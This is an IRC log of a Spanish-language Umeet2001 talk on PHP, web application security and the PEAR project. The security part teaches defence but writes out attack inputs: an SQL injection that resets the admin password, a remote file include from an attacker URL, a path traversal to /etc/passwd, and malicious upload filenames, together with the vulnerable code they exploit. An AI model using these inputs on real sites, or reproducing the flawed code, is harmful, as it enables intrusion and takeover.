Logo Umeet2001

ESPAÑOL
Presentación

Programa

Desarrollo

ENGLISH

Presentation

Programa

Desarrollo


Fernand0Es un placer para nosotros presentar a nuestro próximo conferenciante.
Fernand0sssssssssssssssss
MJesuspor favor, traductors pasen a #qc
Fernand0Se trata de Tomás VV Cox.
Fernand0Algunos de ustedes le
Fernand0conocerán por sus colaboraciones en importantes revistas informáticas:
Fernand0Ha sido redactor para la revista PC Actual durante 3 años en la seccion
Fernand0hoy en dia es administrador y desarrollador web freelance y parte
Fernand0del proyecto PEAR del PHP Group.
Fernand0Queremos agradecer al conferenciante su participación e interés en estas conferencias
Fernand0Por supuesto, agradecer a todos su presencia aquí
Fernand0Su conferencia se titula, 'Por qué la nueva programación, por qué PHP,
Fernand0seguridad de una aplicación web y PEAR'.
coxno no, a vosotros por invitarme
Fernand0Sr. Cox ....
coxgracias Fer
coxbueno, es mi  primera conferencia a traves de este medio
coxasi que no seais muy severos conmigo please :)
coxme gustaria dividir la conferencia en 4 partes si os parece
coxpara tocar un poco puntos de interes de para todos
coxmi idea es:
cox- Por qué la nueva programación
cox- Por que PHP
cox- Fallos de seguridad en aplicaciones web
cox- PEAR (proyecto Open Source del PHP Group)
coxcomencemos pues...
coxPor qué la nueva programación
coxCada día la necesidad de estar permanentemente "conectado" es más acuciante (bien,
coxhablemos del mundo occidental)
coxEsto significa que allá donde vayamos en una
coxmedida muy alta necesitaremos acceder a cierta información y tener abiertos
coxcanales para que la gente se comunique con nosotros
coxBien, y que tiene que ver
coxla web en esto?
coxLa web es el medio más universalmente extendido que hoy en día
coxexiste para conectarse a una red que llegue practicamente a todos los lugares
cox## diganme traductores si voy muy rapido ##
coxExisten navegadores y la posibilidad de acceder a Internet desde casi cualquier
coxdispositivo imaginable hoy en dia,
coxdesde los tradicionales PCs, portátiles,
coxmóviles, PDAs hasta los más esotéricos como electrodomésticos, coches o
coxprendas de vestir.
coxBien, esto da mucho juego y la mezcla de todo esto unido a un servicio web
coxy una base de datos son inimaginables. Esto es:
cox- Acceso universal
cox- Reducción de los costes de instalación y mantenimiento (una aplicación web
coxes única para todos sus usuarios)
cox- Facilidad de aprendizaje (apenas necesitan saber manejar los 4 botones de un
coxnavegador y rellenar formularios web)
cox- Reducción de los costes de implementación.
coxCreo firmemente que es muchísimo
coxmás barato implementar una aplicación con un lenguaje de programación de script
coxlibre de tediosos procesos de depurado y
coxusando un "toolkit gráfico" tan
coxsencillo como el HTML,
coxque una aplicacion grafica hecha en Java o "Visual *"
cox## demosle un respiro al traductor :) ##
cox- Fácil acceso a múltiples fuentes de información, ficheros del sistema,
coxbases de datos, otras redes, etc.
cox
coxHoy en dia segun nuestra experiencia en el mundo del desarrollo web, hemos visto que muchas ideas que desconociamos que se podian hacer con la programacion web son factibles
coxy funcionan realmente bien
coxNombrar'e algunas de ejemplo:
cox## acabo de recordar que mi konsole desde la ultima actualizacion no me soporta acentos, sorry :) ##
cox- Mejora de procesos admistrativos (aplicando procesos de workflow sobre la web)
cox(una base de datos y el uso de XML ayudaron mucho aqui)
cox- Mejora de comunicación con el personal "no residente" de una empresa (como
coxpor ejemplo comerciales o
coxtécnicos que deben desplazarse a casa del cliente
coxpor medio de webmail, foros, web chat o SMS desde la web)
cox(la extension IRCG de Mr Sasha Schumman funcionan extraordinariamente bien :)
cox- Aumento de la rapidez y comodidad del acceso a la información a usuarios
cox(gestión documental)
cox## otro descansito para los translators, good work! ##
cox- Aumento de la rapidez y comodidad del acceso a la información a usuarios
coxfuera de su puesto de trabajo (por medio de aplicaciones wap)
cox
coxPor qué PHP
cox
coxUnos numeros valen mas que mil palabras:
coxhttp://www.netcraft.com
cox36,458,394 Dominios consultados
cox1,046,426 Direcciones IP
cox7,095,691 Dominios con PHP
coxPHP instalado en el 19.46% de los dominios
cox
coxhttp://www.securityspace.com/s_survey/data/index.html
coxExtensiones de Apache mas comunes:
cox2,693,434 Apache Servers evaluados
cox
cox1,238,547 (45.98%) PHP
cox611,733 (22.71%) mod_ssl
cox521,126 (19.35%) OpenSSL
cox493,282 (18.31%) Frontpage
cox355,101 (13.18%) mod_perl
cox109,175 (4.05%) ApacheJServ
coxSistemas Operativos:
cox--------------------
coxUNIX (all variants) ,Win32 (NT/W95/W98/W2000) ,QNX ,MacOS (WebTen)
coxOSX ,OS/2 ,BeOS
coxy experimentalmente en:
coxOS/390 y AS/400
cox
coxServidores web (UNIX,Win32):
cox----------------------------
cox
coxCGI/FastCGI ,thttpd ,fhttpd ,phttpd ,ISAPI (IIS, Zeus) ,NSAPI (Netscape iPlanet)
coxJava servlet ,AOLServer ,Roxen/Caudium module
coxexperimentalmente:
coxApache 2.0 module ,Tux ,pi3web
coxBases de datos:
cox---------------
cox
coxAdabas D, Empress, IBM DB2 ,Informix ,Ingres ,Interbase ,Frontbase ,mSQL
coxDirect MS-SQL ,MySQL ,ODBC ,Ovrimos ,Oracle (OCI7,OCI8) ,PostgreSQL
coxRaima Velocis ,Solid ,Sybase ,DB++ ,dBase ,filePro (read-only)
coxdbm (ndbm, gdbm, Berkeley db)
cox
coxy como curiosidad:
coxGeneración/Tratamiento de Graficos (Extensiones soportadas):
cox------------------------------------------------------------
cox
coxPDf, GD, Imlib2, ImageMagik, Flash, AT&T's GraphViz, SVG
cox
coxtodo esto le da a uno la flexibilidad suficiente como para disponer
coxpracticamente de todo lo que uno pueda necesitar
cox
coxy ahora pasemos a lo divertido :)
cox
coxSeguridad de una aplicación web
cox
coxLa programación web no es tan sencilla como a primera vista puede parecer.
coxPrimero
coxporque todo lo que pones en una página web puede ser fácilmente
coxfalseados (ahora me explico mejor)
coxy segundo porque el acceso a una aplicacion web suele estar abierto a todo el mundo
cox(esto suele ser un requisito)
coxAlgunos puntos criticos:
cox- El usuario siempre miente:
coxSi uno en un simple formulario web pone el típico campo
coxdesplegable (<select>) con una serie de opciones no modificables
cox,  espera
coxrecibir alguna de las opciones ahi especificadas
coxEn la programación
coxweb, es el navegador el que se encarga de mandar los datos que el usuario ha
coxrellenado.
coxEste navegador lo que hace realmente es transformar los datos
coxque el usuario introduce en sencillas peticiones HTTP
coxEstas peticiones
coxlas puede crear uno mismo, poner cualquier dato y enviarlas a la página.
coxPuediendo llevar al traste con la integridad de nuestra base de datos
cox(aunque generalmente resuelto creando adecuadamente las tablas, KEYs, NOT NULLs, REFERENCEs, CHECKs, etc)
cox
cox- No realizar escape de caracteres adecuados al realizar consultas a la base
coxde datos.
coxPor ejemplo, en el típico caso de la página para que el el usuario
coxse puede actualizar su password encontraríamos una sentencia como:
cox
cox$sql = "update users set pass='$pass' where id=100";
cox
coxImaginad que yo introduzco como password en el formulario la cadena:
cox
cox"hacker' where name='admin'; /*"
cox
coxEsto resultaria en que el query que se acaba ejecutando contiene:
cox
cox
cox$sql = "update users set pass='hacker' where name='admin'; /*' where id=100";
coxOuch, acabo de actualizar el password del administrador :)
coxBugs de este tipo han sido explotados a
coxcientos en aplicaciones web como el famoso bug del extendido gestor
coxde foros web phpBB.
cox(tengo un amigo que un dia se levanto y se encontro con que su credibilidad
coxhabia caido por los suelos al ser suplantado como admin
coxen el foro que el llevaba)
cox_Siempre_ se debe escapar los caracteres de las variables provenientes del
coxusuario de la forma adecuada a cada motor de bases de datos que usemos.
!bio.hgy.es! Remote CONNECT ub.es.uninet.edu 4400 from HoraPe
cox
cox- Apertura de archivos del sistema de ficheros.
coxEn la medida de lo posible
coxno hacerlo y
coxsi hay absoluta necesidad idealmente que la selección del archivo
coxse haga desde una lista predeternimada (por ejemplo de un array)
coxPor poner un ejemplo ilustrativo, en una página que muestre cabeceras
coxdiferentes según el skin que haya seleccionado el usuario:
cox
cox$skin suponemos que deberia ser cosas como "red"
coxinclude($skin . ".php");
cox
cox## un respiro a los traductores ##
coxNo tendríamos más que pasar un valor de $skin como: "http://hack.org/hackit",
coxpara que se acabe incluyendo el fichero:
cox"http://hack.org/hackit.php"
coxy el
coxatacante consiga ejecutar su propio código PHP con los permisos del usuario
coxdel servidor web.
cox El famoso primer "virus" hecho en PHP iba precisamente de esto.
cox## he recibido algunas quejas por usar "hack" en vez de "crack",
coxesto debe ser tomado como lectura de "hackear" nuestro sistema
coxy no para "crackear" otros, ok? ;) ##
coxOtra cosa típica es no escapar adecuadamente los nombres de ficheros, como
coxpor ejemplo cuando te meten algo parecido a: "../../../../etc/passwd" o
coxno escapar adecuadamente los comandos del sistema que vayamos a ejecutar.
cox
cox- Poner las librerías fuera del document root. Una típica estructura de ficheros:
coxListado de ficheros del document root del site: http://sillysite.com/
coxindex.php
coxinclude/default.inc
coximages/nogifs.png
cox
coxEs muy común usar extensiones ".inc" para diferenciar los ficheros que son
coxlibrerías y los que no.
coxPero claro es muy común tambíen que los ".inc"
coxno sean parte de las extensiones que deben ser manajadas por el intérprete
coxde PHP.
cox## despues de la conf habra session de preguntas por si alguien quiere ##
coxLo cual resulta es que si yo llamo a la url:
coxhttp://sillysite.com/include/default.inc
coxtodo el código php me será devuelto como texto, poniendo al descubierto muchos
coxdatos sensibles como nombres de usuarios y password de acceso a bases de datos, etc
cox
cox- Los uploads, tu fuente de perdición:
coxMuy típico y en la mayor parte de los casos,
coxes el tener el directorio donde se realizan los uploads dentro del document root.
coxEsto es algo peligroso y explotable de muchas formas.  Mencionemos algunas:
coxa) Siempre chekear las extensiones de los ficheros que se suben.
cox## digo peligroso no que no sea necesario la mayoria de las veces ##
cox Ejemplo de
coxpor qué: subo el fichero hackit.php y llamo a la dirección:
coxhttp://sillysite.com/uploads/hackit.php
coxEl simple servicio de uploads resulta que se convierte de la noche en
coxun cómodo servicio de actualización remota de exploits :)
coxY sino que se lo digan a los
coxde Apache que les hackearon la web así.
coxb) No escapar los nombres de los ficheros. Yo podría subir un fichero con nombre
cox"../index.php" falseando un POST y si en el código tengo algo así como:
cox
coxrename($userfile, "uploads/" . $userfile_name);
cox
coxPodría sobreescribir el fichero index.php con mi propio código.
cox
cox- Y bueno otro sin fin de cosas como
coxtener activado el "register_globals" y no inicializar apropiadamente las variables
cox(varios de estos fallos abrieron vulnerabilidades importantes en PHPNuke)
cox o
coxintentar "asegurar" el acceso a aplicaciones web confiando en
coxel contenido del $REFERER
cox(que recordemos es algo que manda el navegador y
coxpor lo tanto falsificable).
cox
coxComo andiamo de tiempo?
coxcontró
coxhablare del PEAR mas brevemente para mi desgracia
cox
coxPEAR - PHP Extension & Application Repository
cox
coxEl PEAR es un proyecto Open Source creado por el PHP Group con el objectivo de crear
coxuna gran biblioteca de clases de calidad escritas en PHP.
coxTodas ellas accesibles desde un repositorio web comun
coxy facilmente instalablas por medio de un sistema de gestion de paquetes
cox(tipo RPM para que os hagais una idea)
coxEl proyecto lo fundo Stig S. Bakken, miembro del PHP Group
coxStig entre otros ha sido el creador de la extension Oracle de PHP, la XML o toda la arquitectura de compilacion
coxdel lenguaje sobre plataformas Unix
coxLo que mas me choco es que empezo el proyecto dos horas despues de nacer su primera hija Malin,
coxa la cual debemos todo esto.
coxEso es ser un hacker, lo demas son tonterias ;)
coxEn el PEAR podeis
coxencontrar actualmente software de gran calidad que abarca gran cantidad
coxde funcionalidades.
coxEl PEAR recibe actualmente contribuciones de los mayores hackers
coxgente como Rasmus, Andrei, Bergman, Huges, etc
coxa esta charla han venido algunos como Richard Hayes (creador de la tan usada clase de envio de correo via SMTP)
coxo Morgan (que fue desarrollador de Phorum 4 y que actualmente se ha contruido PEAR_Forum)
coxLa aplicacion estrella hoy en dia del PEAR es la clase de abstraccion de base de datos PEAR DB
coxaunque ultimamente hemos tenido bastante movimiento en este punto
coxal ser propuesta la idea de la unificacion de todas las clases
coxde abstraccion de bases de datos en una sola.
coxAlli podreis ver las encarnizadas guerras con Manuel Lemos (de Metabase, MetaL y phpclasses.uperdesign.com)
coxy John Limn (ADODB y phplens.com)
coxBueno no me quiero enrrollar mas, solo daros algunos datos mas
coxpor si a alguien le interesa introducirse en el apasionante mundo
coxdel PEAR:
coxhttp://pear.php.net (actualmente la estamos haciendo todavia, no hay demasiada informacion)
coxpear-dev@lists.php.net (tambien accesible por el server de news en news.php.net
coxy para mirar que cosas podeis encontrar alli recomiendo:
coxhttp://cvs.php.net
coxen:
cox /pear
coxy
cox /php4/pear
coxActualmente creo haber contado mas de 80 clases que abarcan casi todo, Fechas, XML, Ficheros, Redes, ...
coxah si.. mirad en http://pear.php.net en la parte de "support" y "faq"
cox
coxok.. eso es todo :)
MJesusclap clap clap clap clap clap clap clap clap clap
MJesusclap clap clap clap clap clap clap clap clap clap
MJesusclap clap clap clap clap clap clap clap clap clap
MJesusclap clap clap clap clap clap clap clap clap clap
MJesusclap clap clap clap clap clap clap clap clap clap
MJesusclap clap clap clap clap clap clap clap clap clap
MJesusclap clap clap clap clap clap clap clap clap clap
Chesstorero torero torero torero torero torero torero
Chesstorero torero torero torero torero torero torero
Oroz:)
MJesusclap clap clap clap clap clap clap clap clap clap
MJesusclap clap clap clap clap clap clap clap clap clap
MJesusclap clap clap clap clap clap clap clap clap clap
E0xpla plax X100
Stonplas plas plas plas plas plas plas plas plas plas
ismakbravo ;-)
Stonplas plas plas plas plas plas plas plas plas plas
Stonplas plas plas plas plas plas plas plas plas plas
MJesusbravoooooooooooooooooooooooooooo
Chessole ole ole ole ole ole ole ole ole
MJesusbravoooooooooooooooooooooooooooo
MJesusbravoooooooooooooooooooooooooooo
E0xpla plax X100
Chesscampeon!!!!
peter11plas plas plas plas pla s plas plas plas plas plas plas
peter11plas plas plas plas pla s plas plas plas plas plas plas
peter11plas plas plas plas pla s plas plas plas plas plas plas
viZardMJesus: hay tiempo para las pregutas?
coxespero que os haya gustado
vespa_spcbravoo!!!
vespa_spcbravoo!!!
vespa_spcaplause!
vespa_spcaplause!
vespa_spcaplause!
peter11gracias gracias
Maitegracias
Chessotra! otra! otra!
peter11ay que va...
Floodplas plas
Floodplas plas
Floodplas plas
Floodplas plas
Floodplas plas
peter11otra! otra! otra!
peter11vamos...!!!
Stonuh
coxlol
Chesswhile (true) echo "plas";
mhornaeesa estuvo buen lo de la linea de programación
StonX)
coxGracias gente
MJesusclap clap clap clap clap clap clap clap clap clap
MJesusclap clap clap clap clap clap clap clap clap clap
MJesusclap clap clap clap clap clap clap clap clap clap



Mas información: umeet@uninet.edu